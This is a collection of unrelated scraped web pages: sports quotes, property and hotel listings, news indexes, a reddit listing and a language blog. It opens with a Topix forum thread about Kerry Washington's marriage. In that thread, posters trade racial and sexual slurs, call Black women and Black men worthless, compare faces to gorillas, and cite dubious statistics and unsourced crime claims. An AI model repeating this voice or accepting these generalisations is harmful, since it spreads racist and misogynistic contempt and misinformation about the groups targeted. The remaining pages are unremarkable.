text:
younger bw are in the strip clubs, excort service, porn sets, tattoo salons, who are the real pillars of shame look, jada fire, vanessa blue,pinky roxie renyolds and other young porn queens, yet you ask us to lead you tell me you dont need a man, question if I as a bm dont have any why am I responsiable, for single mothers, what did I do.<quoted text>Older Mature BM seen as "Pillars of Shame"
Sadly many younger Black women refer to older Black men as"Lazy, Womanizers, Living off women, Dumb, Scoffers, Sociopathic, harassers, makes poor decisions, unfaithful husbands, Absentee Fathers all poor examples of Manhood for any young women to look up too to admire.
Its sad to see young 30 year old women who can't find Good Black men who are leaders to be admired by them. Good Fathers, Good husbands or Pillars of strength in their communities who they can admire.
Lately I hear a lot of younger BW telling older Black men off for their irresponsible behaviors.laziness and poor choices they made in their lives when these men try to offer advice.
Reasons why is so many people talk about Black men's foul behaviors that they are seen as as "Sources of Shame" and there are not many men to be admired.
Younger Black women are saying their don't want Black males or their behaviors or excuses for not measuring up. Many are making the decision to go for other races of men rather than the Shameful Black males who are poor examples!
Black women have always been forthright and strong. They decided education was the way to pull themselves up and now dating/marrying out is a way to live a better life since Black males refuse to do for their own race!
I truly admire Black women for their strength!
Kerry Washington marries Black man
Posted in the African-American Forum
United States
#915 Jul 8, 2013
Since: Aug 12
#916 Jul 8, 2013
why do you act like all white people have power if that was the case we would all have good paying jobs, I'm tired of hearing its a power game its not white people it was whites wouldn't have gotten drafted in Vietnam whites wouldn't be poor, this all white people are evil ideology is stupid white people are deceived by the media also the government wants there to be race problems that's why they made a huge deal about the trayvon martin case but not a word was said about the WHITE marine that was killed by three black men after they killed and raped his black wife, not a word has been said about the black men that killed a young white man because he wanted to talk to a black girl, do you really think the government cares about anyone they don't care what race you are they laugh while we fight amoungest each other we are there pawns they send us off to war do they go to war? No they don't care if your white or black
Since: Jan 10
Location hidden
#917 Jul 8, 2013
White men put out the statistic saying 70% percent of black women are single who date only black men and 50% of black women will never be married if we stick to black men. White men's stats also show that black men are the worst men as a whole to marry and chances of staying in the poverty or lower income brackets are much greater with black men due to many black men's long criminal and prison records and lack of ambition. These black men will only whine up living off their wives single income and become a big liability instead of an asset to the marriage. White men have even written books trying detour black women from this destructive tradition of only dating black men. Like white author and relationship expert Adam White's book "The Interracial Dating Book For Black Women Who Want To Date White Men".
http://www.amazon.com/s/ref=nb_sb_noss... +
White men's statistics also show that black men are the less educated, have the highest incarceration rates and the highest unemployment rates.
Since: Jan 10
Location hidden
#918 Jul 8, 2013
Now black women are actually laughing at the unattractive, about nothing, bottom of barrel white women that black men drag in and try to pretend these black women are trophy white women,LOL. If they were really white trophy women do you really think that they would be with black men who as a whole have the lowest status, least money and the least education when they could do so much better? When you do see a beautiful white woman with a black man you had better believe that 9 out of 10 times, that black man is wealthy. When black women look outside the pathetic pool of black men, black women do find decent men to be with.
Come on! There is proof black women have married billionaire white men and white men of royal blood so don't even bother going there. However most black women who are married to white men, these white men have average, decent paying jobs, careers or trades. They white still usually have better paying, more secure and more family oriented than the average black men.
White men put black women in movies, on magazine covers and in tv only second to their own women. I don't see any Asian women, Arab women or Indian women in these positions. Yep white men make no bones about it and black men are just jealous and try to tear down what they can not raise to.
Markham, Canada
#919 Jul 8, 2013
Let me remind these delusional IRBW (usually fantasy types who are not in any relationships) what White men keep telling the world in their paid studies.
"Black male faces, on average, were rated as most attractive, followed by white faces and then Asian, while � for females � Asian faces were seen as the most attractive on average, followed by white and then black faces.
�It is no coincidence that groups perceived as being more attractive � black males and Asian females � feature more often in mixed-race marriages than their opposite-sex counterparts,� said Dr Lewis."
Markham, Canada
#920 Jul 8, 2013
If White boys wanted BW, why in the world do they go all the way to the depths of Asia to find a woman to MARRY and avoid the BW right in their back yard?
We all know the reason. But the deulsional irbw on here want us to believe that these White boys are all falling for them, lol.
The funny thing is, if a BW decides to go for a White boy, notice how she changes her entire personality and lifestyle JUST so the White boy MIGHT look in her direction and take her OVER an Asian or Hispanic woman? Lol.
Do you ever see an Asian or Hispanic woman changing her personality to be with a Whtie boy? NOPE.
AND IF, a White boy becomes interested in a BW, notice how most times he is very average or below average? For these IRBW, as long as he is WHITE, they have hit the jackpot! lol.
"Stop being moronic. "
Since: Oct 09
#921 Jul 8, 2013
Thank you for telling the truth. Hell, most of the BW I see with WM are not even attractive anyway. They think I'm jealous of them? Please. I could get a better looking black woman than them if I wanted to, which I don't. Not dealing with the attitude, I get enough of that bull shit dating non-black women.
Since: Oct 09
Location hidden
#922 Jul 8, 2013
I was shocked and very happy for her all at the same time.
Since: Jan 10
Location hidden
#923 Jul 8, 2013
Please read you own article. First there was this very unattractive Asian professors who resembles the very gay George Takei and this Dr. Michael Lewis who is probably so black man himself said this but I don't and never have heard white men nor most nonblack women say that black men where the most attractive men in the world. Most white men certainly don't think you are better looking than they and often have often compared many black men's facial features with those of gorillas and Neanderthals.
#924 Jul 8, 2013
Aww she so beautiful I love her Im actually surprised though since I thought she was into old WM. As long as she is happy go girl.
"Yes WE Can! Yes we Will!"
Since: Jul 07
Baltimore, Md.
#925 Jul 8, 2013
The Supine Court has guttend section# 4 which has to do with enforcement. The Republican Court supporting a suit brought by a rightwing Republican lawyer gutted the Voting Rights Act. You may recall that the Justice Department was able to block certain measures designed to stifle the Black and Latin vote. Had the Supine Court decision been made in September or October, Mitt Romney would now be President.
It's the FUTURE that I'm concerned about. And the fact that so many people are chattering about Kerry Washington's marriage, or IR relations other adults choose to be in, but NOT issues essential to our survival and the well being of our hcildren and their children, clearly indicated that a new and different kind of Black forum than this so-called AA Forum is needed.
#928 Jul 8, 2013
We do need a REAL AA Forum that has better troll-blocking capabilities. Some of the most vile threads coming from ignorant trolls are a distraction from the bigger issues that surround people of color. It's really counterproductive since trolls have no interest in having substantial discussions (even when presented with facts). It's a waste of our precious time trying to communicate with them... Topix of course allows this because the more traffic it gets the more money it makes. We need a black owned and operated web site that filters out the BS trolls and enables more eventful discussions. My comment will probably get deleted by the mods in 5, 4, 3, 2...
#929 Jul 8, 2013
I agree. I am very concerned about what will happen to Blacks when Obama is out of office. I shudder to think of other rights that will be restricted.
Markham, Canada
#930 Jul 8, 2013
@ Capree
LMBAO! Don't blame us BM just because these non-BM are making studies to tell YOU and the world that you are teh least desired, IN THEIR EYES.
"and this Dr. Michael Lewis who is probably so black man himself "
Dumbass, Dr Lewis is a White man.
His profile is right here..
The women they had in teh study were YOUNG women of collage age. So, it is no surprise that BM in college are a hot commodity, lol.
From the abstract of the study:
" This found that Black males are perceived as more attractive than White or East Asian males whereas among females, it is the East Asians that are perceived as most attractive on average. "
Now, go cry us a river Capree
Markham, Canada
#931 Jul 8, 2013
@ CApree
"Most white men certainly don't think you are better looking than they and often have often compared many black men's facial features with those of gorillas and Neanderthals."
Who cares! Their women find us to be the most attractive, according to the latest study by a White man.
#932 Jul 8, 2013
Not black women...Just you and your clique.
And whilst you are so busy "laughing" at lovely long hair white women, YOU ARE SPORTING THEIR HAIR ON YOUR NAPPY HEADS to look more like them because deep down, you don't love yourselves enough to walk out the door with what is yours. LMBAO
This is why the world laughs and mocks BLACK WOMEN. You are dumbest women of all time and the WORST OF ALL WOMEN, HENCE WHY NO ONE WANTS YOU.
Marrying a white billionaire is by no means anything to talk about. You need to ask yourself, why couldn't those white men get a pretty classy white woman to marry, but marry a low-down-dirty Black american woman. And its just fulfill his bedroom fantasies.
How many of those BLACK WOMEN do you know are heirs to anything those white billionaires HAVE. ROTFL.
You guess it, NOTHING.
But look at those roles that those black women are playing. Those roles are those of hworing. Roles to destroy the already dark images of the black women. But you are so stupid and can't see how much damage this is doing to the black woman.
White men treat their white women in much much much better roels than Black American women. You earn less in those hworing and disgusting roles and you don't mind.
Even Asian women are treated better than Black American women in movies.
You are the those that white men use like hwores in movies and the kick there-after.
"What do the stars say......"
Since: May 11
...explore outside the milkway
#933 Jul 8, 2013
LOL at both Capree and BM Moving On. You two loosers are probably single and lonely don't got no friends or family, yet you two are on here bragging about how other races of people perceive you and other black people. ROTFLMBO!!!!!!! You need to get a life. Ya'll some corny a** lame a** mothafucqas. This thread was about Kerry Washington marrying a black man and here ya'll come with your bogus research and statistics. Ugly a** mofos go sit down and shut the f*ck up b*tches.
#934 Jul 8, 2013
You must be blowing smoke now. lmbao.
I am stating the facts that even in inter-racial dating you rank LAST.
Why are you so desperate and foolish.
So you want the world to know that Asian or hispanic women are the least dated and you are the most dated. rotfl.
I feel so sorry for black american women. hahahahah
You women are so pitiful.
United States
#936 Jul 8, 2013
United States
#938 Jul 8, 2013
These IR coons aint thinking about that shit cuz they chasing white mfs
Tell me when this thread is updated:Subscribe Now Add to my Tracker
Add your comments below
African-American Discussions
|Last By
|It will be fun watching the Chinese enslave bla...
|2 min
|Poultry Connoisseur
|Whites' Pathological Desire to put Blacks down
|2 min
|Why do AA call West Africans Ugly? (Jul '11)
|3 min
|BW Dating White Actor Is Harrassed By Jealous W...
|4 min
|I see triplets
|Biracial women are beautiful and fake black wom...
|5 min
|Barack Obama, our next President (Nov '08)
|5 min
|Grey Ghost
|Free abortions for white women
|7 min
|The Snacth helper
|the moors were black africans not arabs!!! (Jun '08)
|14 min
|Hebrew Israelite (Feb '11)
|1 hr
|Carly HI YAH
Find what you want!
Search African-American Forum Now
Copyright © 2014 Topix LLC


text:
Minnesota-Minnesota State Quotes
Nov. 15, 2013
Minnesota Head Coach Don Lucia:
On the Gopher power play...
"We got the one goal which is great, and we did a much better job about not turning the pucks over. But, we were plus one on the power play."
On Mike and Connor Reilly...
"First time since 2004 that two brothers score in the same game. We took Connor and put him on the power play, and Mike made a nice play, as well. So we got some good production. They both had good games tonight. I thought they were both very involved."
Sophomore Goaltender Adam Wilcox:
On Gopher special teams...
"We realized that our power play wasn't what we wanted it to be at, and we did some different things, moved some people around. I thought Connor worked really well over there. He had a good shot, so I think you just have to have a good start, and we'll have a rest of the good way here."
Sophomore Defenseman Mike Reilly:
On assisting on Connor Reilly's goal and scoring in the same game...
"I just said nice play...I didn't really do much, got a nice pass from Warning and he made a great move past the defenseman or the high forward. I didn't see the shot...it was something pretty special for us."
Redshirt-Freshman Forward Connor Reilly:
On scoring a goal with an assist from Mike Reilly...
"(Scoring with Mikey) made it pretty special...it felt pretty good. I think Mike had a great shot on his (goal), and I was lucky enough to find some open space -- just tried to put it through the back of the net."
More Headlines
11/26/2014'U' Set for Two in Boston
11/21/2014Gopher Hockey Live: U-18 Team
11/20/2014FOX Sports North Picks Up Dec. 6 Game
11/19/2014Gophers Take on U-18 Team on Friday
11/15/2014Gophers Suffer Road Loss at UMD
11/20/2014Gophers Host Military Appreciation Night
11/14/2014Gophers Fall to UMD in Series Opener
11/12/2014Gophers Set for Home-And-Home with UMD
11/11/2014NHL: Helgeson to Make NHL Debut Tuesday
11/15/2014Gopher Hockey Live: UMD
11/11/2014Cammarata, Wilcox Earn B1G Honors
11/09/2014Gophers Pick Up Sweep in 4-2 Victory
11/07/2014Wilcox Blanks Notre Dame in 5-0 Win

subset: commoncrawl


text:
Would you like to see more photos?
- All Photos (8)
- MLS Photos (8)
- Enlarge Photo
Estimate Your Monthly Payment
Would you like to see more photos?
A great opportunity to live in booming Southend. Unit has courtyard view, which provides plenty of natural light throughout the unit. Open floor plan is perfect for having family and friends over for the holidays. The secon bedroom makes a great office or den.
Public Facts: As provided by County Assessor and Recorder offices. May not reflect recent additions or improvements. If you see any errors, the best way to get the records updated is to contact your local county records office. If any of the information in this section conflicts with property information provided by a listing agent or broker, agent-provided information should be deemed more reliable.
| Median Household Income
| Median Years In Residence
| Median Homeowner Age
| Households with Children
| Percent of Homes Rented
These are the closest schools to your requested location. Proximity does not guarantee enrollment eligibility. Please consult your real estate agent or school district to confirm the schools you are zoned to attend.
Please fill out this form to request more photos or more information regarding this property.


text:
Our Newest Items :: Downloads :: Hot Deals NEW :: Message Board :: Why Shop Here? :: Contact Us
Hot Deal
Second Guest by David Forrest
$20.00 $6.75
Save: 66% off
Reward Points
No points earned yet on current order.
Log in to see how many reward points you have already earned
Great service
Jeff was quick to answer some questions I had about a purchase. I was confident about my choices, and my order was processed and shipped very...
You've tried the rest, now try the best
Thats a very familiar slogan we see all the time, and it's really blah, blah. I have bought magic from many places during the last 65 years & I can...


text:
Search results for re-election
On The Come Up: President Obama's Approval Rating Is Finally Back Up Above 50%
Woopty-woop woopty-woop-woop!!
Former Chair Of Congressional Black Caucus Maxine Waters Calls The Shady House Republican Leaders "Demons" [Video]
In a nutshell, Maxine Waters states that these GOP folks are some clowns who do not have the best interest of the United States at heart:
Conservative Ann Coulter Calls Obama "Flavor Flav"
There's no question that President Obama has been the most disrespected President in U.S. history and as he campaigns for re-election this year, more hatred will be coming on stronger than ever before.
Kick Rocks Sucka: Rick "N****head" Perry Jumps Out Of The Presidential Race And Jumps Behind "Nasty" Newt!!
We could say "we'll miss you" but we'd be lying…
Star Power: Check Out The Celeb 'Dream Team' Obama Wants to Put Together for His Campaign
Looks like the POTUS is looking to add a whole lot of star power to his re-election campaign.
Some Non-Blue Ivy News For The Stans: Mommy Banger Bey And Two-Time Granny Tina Get An Early Start On The Obama Campaign Trail
Bey got all types of work done during her pregnancy, didn't she?
Don Cheadle "Clarifies" Comments That Obama Wasn't G Enough… "I Want To See Somebody Go To Jail Over The Financial Crisis"
Don Cheadle is a muhfuggin' G! He says he's glad Obama's at the wheel cuz he woulda been swung on them GOP wanksters…
Some Afternoon Linkage
Elsewhere on the Web
Scary News Of The Day: Poll Shows That Obama Might Not Get Re-Elected!
Dear Lord, what would we do if Obama lost the election?!
Full President Obama 60 Minutes Interview: Talks Class Warfare And Says To "Ask Whatever's Left Of Bin Laden If I'm Soft!!" [Video]
For those of you who missed Barack Obama on 60 Minutes last night, here's a lil recap:
For Discussion: Majority Of American People Think President Obama Is Responsible For State Of The Economy
Well now, this is interesting. Where are WE when these polls are being taken, though?
President Obama's Staff Gives Ol' Billy Clinton's Clique A 'Ho Sit Down' After Offering Advice On How To Get Re-Elected
Clinton: Dude, you're gonna lose.
Obama: This arrogant son-of-a-beyotch….
When The Checks Start Coming In: Employers Added 103,000 Jobs In The Month Of September
This sounds like some nice progress:
President Obama Goes In On Shady GOP: "Y'all Wanksters Should Have Done Something When The Gay Soldier Got Boo'ed"
Barack Obama tells the Republicans what they need to do in order to be a real Commander-in-Chief:


text:
The Top 10 In Action Sports
01This British Council Is Trying To Make Skateboarding A Crime...
02Want To Escape The UK And Surf Every Day? This Is The Place To Go…
03Snowfall In New York Has Been So Deep, People Can't Get Out Of Their Houses
04What Do You Get If You Cross A Zip-Wire With A Roller Coaster?
0523 #FirstWorldProblems People Encounter When Skiing
067 Awkward Moments Every Brit Experiences When Surfing Abroad
07'Has Skiing Made Me Bald?' - What Do You Contemplate When You're On The Chairlift?
08This Squaw Valley Ski Edit Is Not To Be Missed...
09This 22 Year Old Student Took Three Years To Make This Adventure Film. The Result Is Truly Beautiful…
10From Small Photo To Breathtaking Reality: This Ski Trip Is One Of The Best We've Seen...
100% Pure New Zealand Winter Games 2011 - A taste of things to come ep4
A Ski video by zerosandones - 6,437 views
Sixteen days, 38 events, 22 sports, 1,000 athletes, 50 nations and an audience of millions – welcome to 100% Pure New Zealand Winter Games. The world's top snow and ice sports athletes will descend upon New Zealand's Southern Alps and take on the best in ski racing to curling, snowboarding to skating as well as adaptive snow sports. This preview features professional free skiiers Matt Soundy, Matt Johnson, Hamish Mcdougall, Boen Ferguson & Charlie Timmins.
Filmed by Tim Pierce edited by Ben Ryan
produced by zerosandones.co.nz
Artist: Sonreal
Track: She Gotta be Loved


text:
Wed, Jun 20, 2007
Acrohelipro Global Services
Inc. tells ANN it was recently awarded a contract to perform
first-line maintenance support on Canadian Forces CH-146 Griffon
aircraft based out of 8-Wing Trenton, Ontario, Canada.
The selection of Acrohelipro to fulfill this role was made in
support of Canadian Forces OPERATION STARFISH, which is the primary
military Search and Rescue (SAR) operation within the region.
"We have extensive experience, a proven reputation, the capacity
and capability to provide world-class, long-term field support to
both the Canadian Military and civil operators supporting
Department of National Defense (DND) initiatives, such as the
CH-146 upgrade program," said Elvis Moniz, Director of Avionics for
Acrohelipro. "As such, we are pleased to be awarded this very
important contract."
Moniz added the contract is for one initial year and renewable
up to four years, and will employ up to 12 helicopter
Acrohelipro also
provides helicopter support services to the Canadian military by
way of performing depot-level maintenance inspections on CH-146
Griffon helicopters, as well as various maintenance, repair and
overhaul activities related to CH-124 Sea King engines,
transmissions, components and accessories.
In addition, the company has maintenance contracts in force with
various civil and defense departments from countries including the
United States.
Acrohelipro Global Services Inc. provides tip-to-tail
maintenance, repair and overhaul services for helicopters and
components including engines, avionics, dynamic components,
accessories and structures.
Airborne 11.21.14: AEA's 3Q/14 Report, Fantasy Of Flight, Modernizing The NAS
Aero-TV: Lessons Learned -- Reflecting On Mark Baker's First Year At AOPA
Airborne 11.19.14: FAA v Pirker Update, F-35C Night Traps, G650ER Delivers
See All
©2014 All Rights Reserved.
© 2007 - 2014 Web Development & Design by Pauli Systems, LC


text:
Puppy Bot is cute. Or is he? Maybe this one isn't very suitable for kids, yeah. WATCH YOUR STEP!
It is a Cat Face Halloween special. Yes.
Steeds will be beheld. Verily.
Once upon a perfect peril...
So here it is! I'm starting Uni this September, and as...
A young boy faces the horrors of crack use through the smooth...
I liked a @YouTube video from @ericgrimes24 http://t.co/ji8daggSoG GameSpot is a Joke2014-11-24
RT @thetomska: KATATAK IS DONE. KATATAK IS SUBMITTED. KATATAK WILL BE PLAYABLE SOON.2014-11-24
So @MsDarlizzle has just had a very exciting meeting about our kids channel @JellyBugToons. This is going to be cool.2014-11-24


text:
Send this business listing as a text message to a mobile phone.
PO Box 30193, Honolulu, HI 96820
(808) 841-2376
Terms: The recipient of this text message may incur charges depending on their wireless carrier. Not all carriers are currently supported.
We're sorry, but the send to mobile service
is currently undergoing system maintenance.
Please try again later.


text:
Know-How Exchange
Topic: Taglines/Names
Search more Know-How Exchange Q&A from Marketing Experts
This question has been answered, and points have been awarded.
Speech Therapy Private Practice
I am in the process of coming up with a name for a private practice that will be providing services for speech therapy and has the possibilty to expand to other services such as physical, occupational, and even behavioral therapies. I don't want to limit the name to speech, but want to realte it to "therapy" in some way. The practice will be geared towards a wide variety of patients ages 0-21. Thanks!
Most Popular
- Top Five Questions Marketers Should Always Be Asking Themselves by Preeti Upadhyaya
- Five Tips for Effective 'Emotional Branding' by Jeannette de Beauvoir
- Why Your Data Scientists Need to Be Storytellers, and How to Get ... by Laura Patterson
- 2015 Marketing and Advertising Salary Guide by Ayaz Nanji
- 10 Tactics to Increase Newsletter Subscriptions by Aleksander Czyz


text: Supreme Court Page 1 of 20 Next Page > Tax-happy Maryland faces the Supreme Court By Mary ReichardPosted Nov. 17, 2014Supreme Court | Last week, the U.S. Supreme Court considered whether it's illegal double taxation to tax income someone earned and paid taxes on in another state. That's… [http://www.worldmag.com/2014/11/tax_happy_maryland_faces_the_supreme_court] Federal court rejects Catholic challenge to the contraceptive mandate By Emily BelzPosted Nov. 14, 2014Healthcare Mandate | The D.C. Circuit Court of Appeals gave a victory today to the Obama administration in the first circuit-level verdict on the latest contraceptive and… [http://www.worldmag.com/2014/11/federal_court_rejects_catholic_challenge_to_the_contraceptive_mandate] Who are you calling 'stupid'? By Cal ThomasPosted Nov. 13, 2014Healthcare | "Stupid is as stupid does" — Forrest Gump Unless you regularly follow conservative media, you may not have heard what one of the architects of the… [http://www.worldmag.com/2014/11/who_are_you_calling_stupid] Supreme Court allows same-sex marriages in Kansas By The EditorsPosted Nov. 12, 2014Marriage | The Supreme Court has ruled same-sex marriages can begin in Kansas while a lower court considers a case against existing state law. Last week, [http://www.worldmag.com/2014/11/supreme_court_allows_same_sex_marriages_in_kansas] Sonia Sotomayor puts gay marriages in Kansas on hold By Lynde LangdonPosted Nov. 11, 2014Marriage | Supreme Court Justice Sonia Sotomayor has once again stood up for state marriage laws, this time blocking same-sex marriages in Kansas while a lower court… [http://www.worldmag.com/2014/11/sonia_sotomayor_puts_gay_marriages_in_kansas_on_hold] Supreme Court to hear major healthcare case By Emily BelzPosted Nov. 7, 2014Supreme Court | At issue are the subsidies that many rely on to purchase health insurance through Obamacare [http://www.worldmag.com/2014/11/supreme_court_to_hear_major_healthcare_case] Supreme Court rejects 'elementary' case By Caroline LealPosted Nov. 5, 2014Books | The game is afoot: Sherlock Holmes, writer Arthur Conan Doyle's famous detective, is now in the public domain. On Monday, the U.S. Supreme Court refused to… [http://www.worldmag.com/2014/11/supreme_court_rejects_elementary_case] Will Puerto Rico take marriage to the Supreme Court? By Mary ReichardPosted Oct. 28, 2014Marriage | A federal judge in Puerto Rico last week affirmed an existing marriage law after dozens of others have gone the opposite way in the past year. Puerto Rico is… [http://www.worldmag.com/2014/10/will_puerto_rico_take_marriage_to_the_supreme_court] Parts of Texas abortion law on hold again By Mickey McLeanPosted Oct. 14, 2014Supreme Court | The Supreme Court on Tuesday blocked portions of a 2013 law in Texas that led to the closing of all but eight abortion facilities in the state. In an unsigned… [http://www.worldmag.com/2014/10/parts_of_texas_abortion_law_on_hold_again] Supreme Court wraps up eventful first week By Emily BelzPosted Oct. 10, 2014Supreme Court | The high court's actions spread same-sex marriage to many more states [http://www.worldmag.com/2014/10/supreme_court_wraps_up_eventful_first_week] The Supreme Court's nonruling on gay marriage By Cal ThomasPosted Oct. 9, 2014Marriage | Three points need to be made about Monday's decision by the Supreme Court not to decide whether the equal protection clause of the Constitution grants… [http://www.worldmag.com/2014/10/the_supreme_court_s_nonruling_on_gay_marriage] Same-sex marriages begin hours after Supreme Court order By Caroline LealPosted Oct. 7, 2014Marriage | Same-sex couples in Utah, Oklahoma, Virginia, Indiana, and Wisconsin began applying for marriage licenses less than four hours after the U.S. Supreme Court… [http://www.worldmag.com/2014/10/same_sex_marriages_begin_hours_after_supreme_court_order] Page 1 of 20 Next Page >


text:
reddit is a platform for internet communities
Want to watch this video? Tough! (imgur.com)
submitted by TheRingshifter
Going somewhere in your car? I don't think so. (i.imgur.com)
submitted by sleepless_indian
I dont know dickhead, is it?! (i.imgur.com)
submitted by briefaspossible
Oh, I'm sorry, but this bathroom is closed. (notalwaysright.com)
submitted by Chuck_Hitler
Our culture of everyone being oppressed and accepted is driving me crazy (self.Infuriating)
submitted by piggy94
Just fucking close (i.imgur.com)
submitted by GiveMeBackMySon
Outraged at Parents Who Bring Toddlers to Horror Films (self.Infuriating)
submitted by slvillagomez
All the posts in here (reddit.com)
submitted by ZangeonS
People like this make me so fucking angry. (imgur.com)
submitted by SpatialCandy69
No longer his dog (self.Infuriating)
submitted by kamedende
Because Ebola and terrorism are so fucking funny... amirite? (imgur.com)
submitted by DSTakumiDerp
Why is it that Christmas comes earlier every year? (self.Infuriating)
submitted by baddwolfe
I thought this might need to go here (i.imgur.com)
submitted by Cardinal_FpS
Seriously FUCK YOU if you do this! (i.imgur.com)
submitted by SuperiorSpidey
Guys this makes me so mad (facebook.com)
submitted by funnyonmymind
Message from a Sr. Support Tech (self.Infuriating)
submitted by techrant
Colorado's 'At-will' employment laws. (self.Infuriating)
submitted by PaleoclassicalPants


text:
A part of My Way (thanks to the songwriters: FAIR, RONALD / RIDEL, STEFANIE J. / MODESTO, MOISES / SHETH, ASHISH)
"I've loved, I've laughed and cried
I've had my fill, my share of losing
And now, as tears subside, I find it all so amusing
To think I did all that
And may I say, not in a shy way,
"Oh, no, oh, no, not me, I did it my way"
I got nothing else to add....
I face the final curtain...
by Bob Daalder
Art Print
Collect your choice of gallery quality Giclée, or fine art prints custom trimmed by hand in a variety of sizes with a white border for framing.
- 82Promote


text:
Upcoming Events
"Observe The 93rd with Moxie & Rebel" Play the Special Events Room
Saturday, November 22
Our Live Music Series Continues as we welcome back one of our favorite local bands "Observe the 93rd" They will rocking the night along with "Moxie & Rebel"
Savannah's Opens at 6pm on Thanksgiving
Thursday, November 27
Happy Thanksgiving! Savannah's will be getting the party started at 6pm today!
Burlesque Star, Tali De'Mar Performs at Savannah's!
Friday, November 28 - Saturday, November 29
Tali De'Mar is a true burlesque star! This sultry redhead is sure to bring Savannah's an authentic burlesque striptease that you've never seen before!


text:
Wiley unmasks file-sharing Dummies, goes forward with suit
March 28, 2012 | 11:51 pm
By Chris Meadows
PaidContent has an update on the status of "For Dummies" publisher John Wiley's court cases against individuals accused of illicitly sharing various "For Dummies" books via BitTorrent. The company was able to unmask 46 "John Doe" defendants, 40 of whom were dropped from the case after apparently settling for an undisclosed amount. The publisher is going to go forward with suing the remaining, now-identified six.
It's not clear whether any settlements Wiley gets out of this case will cover even a fraction of the costs of bringing it, or whether it will act as a deterrent or just make the publisher unpopular.
The pirate pay? BitTorrent survey finds users more likely to buy
Weekend Links: New publishing manifesto. Fatal flaws of Kickstarter campaigns
Morning Links: Five small presses killing it. Pelican relaunched with few links to the past
The poet, the pipeline, and the punitive lawsuit
Joseph E. Stiglitz on knowledge, scholarly open access, and copyright
I vote that it makes the publisher unpopular or, I should say, even less popular.
It always amazes me that anyone would buy a book which assumes (and publicly states) that you are stupid.
I've written a lot of learning materials and howtos, most of them starting from a very basic level, and I would never insult my students or readers in that way.
By my definition, anyone who is willing to learn is demonstrably NOT a "dummy".


text:
Select all
Found the same room at a different price? Tell us, and we'll offer to match it.
Find out more
BEST WESTERN The Webbington Hotel and Spa
DoubleTree by Hilton Hotel Bristol South - Cadbury House
Spreyton Guest House
Reservoir View Motel
Kensington Court Holiday Apartments
Saxonia Guest House
Florence Guest House
Church House
The York Hotel
Smiths Hotel
Westfield Lodge
Holiday Inn Bristol Airport
Blakeney Guest House
Victoria Mansions Hotel Apartments
Meadow Cottage Guest House
The Bear Inn
Holly Lodge Guest House
The Owl's Crest
The Moon & Sixpence
Seaward Hotel
The Oak House
The Royal Hotel
Warrens Village
Pontins - Sand Bay Holiday Park
Penscot Inn
Lauriston Hotel
Orchard House
The Bridge Inn
Daunceys Hotel
Old Colonial by Marstons Inns
Rookery Manor Hotel & Spa
Days Inn Sedgemoor - M5
Highcliffe Hotel
Richmond Hotel
Cabot Court Hotel - a JD Wetherspoon Hotel
Redhill House, Boutique Hotel, Bristol Airport
Albany Lodge Guest House
Compton House
Milton Lodge Hotel
Abingdon House
The Commodore Hotel - Kewstoke
Prince of Waterloo
Hillcroft Accommodation
Coombe Dale Accommodation
Snipelands Bed and Breakfast
hathway house accomodation
The Seafarers
Royal Grosvenor
No54 The Elms
Distances are provided for guidance and are calculated 'as the crow flies'. For directions and actual distances by road, please refer to the hotel directions tab for the particular hotel.
Reset filters
Best Deals - Kingston Seymour |
4 & 5 Star Hotels - Kingston Seymour |
Big Savers - Kingston Seymour |
Disabled Access - Kingston Seymour |
10 Rooms or Less - Kingston Seymour |
Budget Beds - Kingston Seymour
Somerset Regions
| Hotels in Bath and North East Somerset
| Hotels in North Somerset
Alternative Searches - As searched for by LateRooms.com.au users
| Weston Super Mare Hotels
| Clevedon Hotels
| Weston-super-mare Hotels
| Portishead Hotels
| Nailsea Hotels
| Redhill Hotels
| Weston Hotels
| Wrington Hotels
| Congresbury Hotels
| Winford Hotels
| Worle Hotels
| Langford Hotels
| Portbury Hotels
| Yatton Hotels
| Loxton Hotels
| Kewstoke Hotels
| Walton Hotels
| Weston in Gordano Hotels
| Wick Saint Lawrence Hotels
| Walton Down Hotels
| Sydney Hotels
| Melbourne Hotels
| Brisbane Hotels
| Adelaide Hotels
| Perth Hotels
| Cairns Hotels
Contact Us |
Terms and Conditions |
Disclaimer |
About Us |
Job Opportunities |
Things we care about | Press |
User Guide
Affiliates |
Hotel Admin |
Add your hotel
Copyright © 1999 - 2014 LateRooms Ltd


text:
Properties in Manningtree, Essex between £30,000 and £2,000,000
- News feed
- Find us on Twitter
Follow us
- Find us on Facebook
Like us on Facebook
Properties in Manningtree, Essex
Gallery view List view Map view 99 properties found
£150,000 Sold STC 2 Bedrooms Truswell Terrace, Brantham, Manningtree, Suffolk
General information A well presented two bedroom semi-detached house ideally suiting a first time purchaser or investment buyer. The property has electric heating, off road parking and an enclosed low maintenance rear garden.
In brief the accommodat
In brief the accommodat
Fenn Wright - Manningtree
£155,000 Sold STC 3 Bedrooms Colchester Road, Lawford, Manningtree, Essex
General information An older style three bedroom mid terraced property situated within walking distance of Manningtree town centre and railway station requiring some refurbishment. The property comprises internally of entrance porch leading to an entranc
Fenn Wright - Manningtree
Moving House?
Local businesses here to help you:
- Banks and Building Societies
- Car & Van Hire
- Electrical Appliances
- Flooring
- Furniture
- Insurance Services
- Mortgages
- Removals
- Solicitors
- Storage
- TV Aerials
- All Businesses
Local advertisers


text:
Ugh! I feel so used.
Find a Conversation
|Tue, 11-09-2004 - 11:30pm
Check it out, quite interesting:
Marketers want to get deep into your emotions now. That's where it gets really scary - companies (and thus politcs) are using this company Acxiom(sp?). It has a huge database with your name, address, info on catalogs you receive, whether you like cats or dogs, are left-handed, which car you drive, etc. Geez, where is that Privacy Act when you need it?
P.S.: The next FRONTLINE is on Wal-Mart and whether it is good or bad for America. Interesting stuff and unbiased.
|Wed, 11-10-2004 - 2:22am
Just so interesting how they warp their words into something that sounds good to the most people. Makes sense for them to do to win, but disheartens me so. sigh.


text:
A cultural blog with Kyrie O'Connor
Posts filtered on Category
Could this new (very cool) way of texting catch on?
My pal Bill the Wordsmithy directed my attention to this genius idea: calligraphy texting. Here's the deal: After texting some doodles, I decided to send handwritten messages to people for that next week. I wanted to create my own modern day version of "snail-mail." My rules for this type experiment were simple: create handwritten text […] [Read More]
Where did "is is" coming from?
"Is is" is everywhere [Read More]
But, are you a person that does this alot?
Kids today! [Read More]
Why do young women talk like babies?
Young women should try speaking like adults. [Read More]
Literally the most interesting stuff about language you'll read all day
"Literally" has been around forever. [Read More]
Do you speak a second language? (Pig Latin doesn't count.)
Many Americans know only one language [Read More]
'Impactful' gets some grudging respect
What words would you make a last stand against? [Read More]
